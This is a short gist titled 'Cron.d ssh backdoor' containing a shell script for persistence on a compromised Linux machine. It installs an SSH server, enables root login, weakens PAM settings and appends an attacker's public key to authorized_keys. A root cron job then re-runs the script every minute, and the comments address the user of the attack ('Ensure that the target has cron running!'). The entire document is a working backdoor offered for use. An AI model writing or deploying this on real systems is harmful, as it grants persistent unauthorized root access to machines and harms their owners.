Cron.d ssh backdoor

gistfile1.txt

# Ensure that the target has cron running!
cat << EOF > /tmp/ssh.sh
apt update ; apt install openssh-server -y ; mkdir -p /var/run/sshd && sed -i 's/\#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config && sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd ; mkdir -p ~/.ssh && touch authorized_keys ; echo "YOUR PUBLIC KEY HERE" >> ~/.ssh/authorized_keys ; /usr/sbin/service ssh restart
EOF

chmod +x /tmp/ssh.sh

# This will keep adding your SSH key, you could change `>>` to `>` but that will overwrite other keys in there.
echo "* * * * * root cd /tmp && sh ssh.sh" >> /etc/cron.d/ssh